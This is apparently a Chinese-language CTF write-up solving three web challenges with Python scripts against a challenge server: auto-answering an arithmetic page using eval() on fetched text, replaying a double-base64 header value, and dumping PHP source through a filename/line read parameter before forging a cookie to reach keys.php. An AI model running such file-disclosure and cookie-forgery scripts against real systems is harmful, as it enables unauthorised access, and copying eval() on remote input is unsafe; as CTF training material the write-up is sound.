題目一:秋名山車神

題目頁面
import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
se = requests.session()
response = se.get(url)
response.encoding = 'UTF-8'
# print(response.text)
r = '<div>(.*)=/?'
result = re.findall(r,response.text)
# print(result)
num = eval(result[0])
# print(num)
data = {'value': num}
response2 = se.post(url, data=data)
response2.encoding = 'UTF-8'
print(response2.text)
requests.session()
session對象可以使我們跨請求保持某些參數(shù),也可以在同一個(gè)session實(shí)例發(fā)出的所有請求之間保持cookies
eval()
字符串代碼化
關(guān)于re庫和requests庫的其它的內(nèi)容見我的上兩篇文章
題目二:速度要快
看源碼,有一行提示
<!-- OK ,now you have to post the margin what you find -->
抓包,放進(jìn)repeater,headers中有個(gè)flag:后面跟著遺傳密文,似base加密,經(jīng)過嘗試發(fā)現(xiàn),兩次base64解密后可得到一串?dāng)?shù)字,疑似提示中所要post的值。研究發(fā)現(xiàn),每次刷新頁面該header會(huì)變,于是使用python腳本,使用requests庫的session方法,保持該頁面參數(shù),再post該值,得到flag,源碼如下:
import requests
import base64
import re
url = 'http://123.206.87.240:8002/web6/'
session = requests.session()
response = session.get(url)
flag = response.headers['flag']
print(flag)
flag = base64.b64decode(flag)
flag = flag.decode()
regex = r': (.*)'
flag = re.findall(regex, flag)[0]
flag = base64.b64decode(flag).decode()
data = {'margin': flag}
response2 = session.post(url, data=data)
print(response2.text)
題目三:cookies欺騙
打開頁面,有一堆英文,觀察url,發(fā)現(xiàn)通過get參數(shù)傳遞了兩個(gè)參數(shù),一個(gè)是line,另外一個(gè)是filename,并且filename后跟著一串疑似base64密文,解密后為keys.txt,嘗試其他文件,比如index.php通過更改line可發(fā)現(xiàn)是一個(gè)php文件不同行,腳本讀取整個(gè)文件
import requests
import re
import base64
url = 'http://123.206.87.240:8002/web11/index.php'
params = {'filename': 'aW5kZXgucGhw', 'line': '0'}
for i in range(0,50):
params['line'] = i
response = requests.get(url,params=params)
print(response.text, end='')
得到php文件為
<?php
error_reporting(0);
$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");
$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' => 'keys.txt',
'1' => 'index.php',
);
if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
$file_list[2] = 'keys.php';
}
if (in_array($file, $file_list)) {
$fa = file($file);
echo $fa[$line];
}
burpsuite抓包c(diǎn)ookie傳遞margin=margin可得flag